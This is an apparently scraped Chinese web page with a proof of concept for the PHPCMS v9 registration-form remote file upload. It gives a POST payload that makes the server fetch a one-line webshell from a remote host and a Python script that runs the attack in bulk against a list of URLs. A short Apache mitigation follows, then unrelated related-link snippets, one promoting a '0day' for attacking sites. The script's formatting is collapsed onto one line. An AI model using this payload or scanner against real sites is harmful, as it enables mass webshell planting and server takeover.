poc:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://192.168.200.136/0.txt?.php#.jpg>&dosubmit=1&protocol=
这里的1.txt文件 就是放一句话的
也可以在远程服务器 放一个文本文件
python
#coding:utf-8import requests,re with open('url.txt')as f:for i in f.readlines(): url = i.strip()+"/" payload ="siteid=1&modelid=11&username=newbie&password=newbie&email=xxxx@qq.com&info%5Bcontent%5D=%3Cimg%20src=http://baidu.com/xxx.txt?.php#.jpg>&dosubmit=1&protocol=" r = requests.post(url=url,data=payload).text try: pattern = re.compile(".*?src=(.*?)>.*?")print url+":"+re.findall(pattern,r)except:print url+":pass"
临时防护方案:
设置网站目录下的 /uploadfile 目录及子目录不解析 php 文件。推荐 phpcms 官方演示站也这么配置,即便上传了Shell也不会执行。
我的网站路径是 /var/www/html/uploadfile,根据你的真实情况自行调整
以 apache v2.4 为例,在 apache2.conf 中添加如下配置:
<Directory /var/www/html/uploadfile> # 禁止解析 php 文件 php_admin_flag engine off # 禁止用户下载 php 文件 <filesmatch ".+\.ph(p[345]?|t|tml)$"> Order deny,allow Deny from all </filesmatch> </Directory>
相关推荐
代码审计_PHPCMS_V9前台RCE挖掘分析1
Phpcms v9 模板安装教程 前言:自己本来想玩玩模板那,下了一个半天没安装好,后来好不容易安装上了,就把自己的安装过程做成了这个教程,希望对新手有帮助。 1. 我们以模板案例为主:大家可以先下载下这个phpcms v9...
此Oday非同寻常,速度下载吧黑友们!一天几个站没问题!
phpcms v9标签大全phpcms v9标签大全
PHPCMS V9代码生成器 V1.5版本PHPCMS中国发布 ------------------------------ | PhpCMS V9代码生成器 使用说明 | ------------------------------ 一、平台需求 运行环境:Windows 2000/XP/Vista/Win7 二、...
phpcms v9 官方教程全集打包下载 第一课时:PHPCMS V9 系统设置 第二课时:PHPCMS V9 使用指南及二次开发向导 第三课时:PHPCMS V9 短消息与新闻心情 第四课时:PHPCMS V9 友情链接与投票 第五课时:PHPCMS V9 ...
phpcms V9产品白皮书phpcms V9产品白皮书
PHPCMS V9 修改flash上传为H5上传方案
模块【标签】参考手册.(第一版),PHPCMS V9 产品开发权威指南,phpcms_v9_代码分析(一、二、三),phpcms_v9_二次开发及标签制作讲义,PHPCMS_V9安装教程,PHPCMS_V9帮助中心,PHPCMS_V9开发文档,PHPCMS_V9模板制作...
PhpCMS V9代码生成器可以帮助PhpCMS V9模板制作者快速高效地制作模板,功能代码速查,代码自动生成,方便调用,让您在制作PhpCMS V9模板时得心应手,PhpCMS V9爱好者必备! [更新] PhpCMS V9模板代码器 V1.5...
PHPCMS V9 UTF8
phpcms V9专题增加多图集功能代码 phpcms v9类别调用方法
感谢大家一直以来对PHPCMS的帮助和支持!现发布《PHPCMS V9 用户手册》来帮助大家更直接,更清晰的了解PHPCMS V9
PhpCms V9 函数手册 内容为V9官方代码编译 变量及函数功能引索
phpcms v9帮助文档免费大放送了
phpcms V9 安装程序。 安装方便,使用简单。
PHPCMS V9 数据结构
PHPCMS V9留言板插件2.1 UTF-8版,详细说明看里面的文档
PHPCMS V9网址生成优化:内容页HTML文件名称自定义教程 在几天前的一片教程中,CMSYOU与大家分享了团队以往的经验:PHPCMS V9静态化HTML生成设置及URL规则优化(具体网址:http://www.cmsyou.com/support/85.html...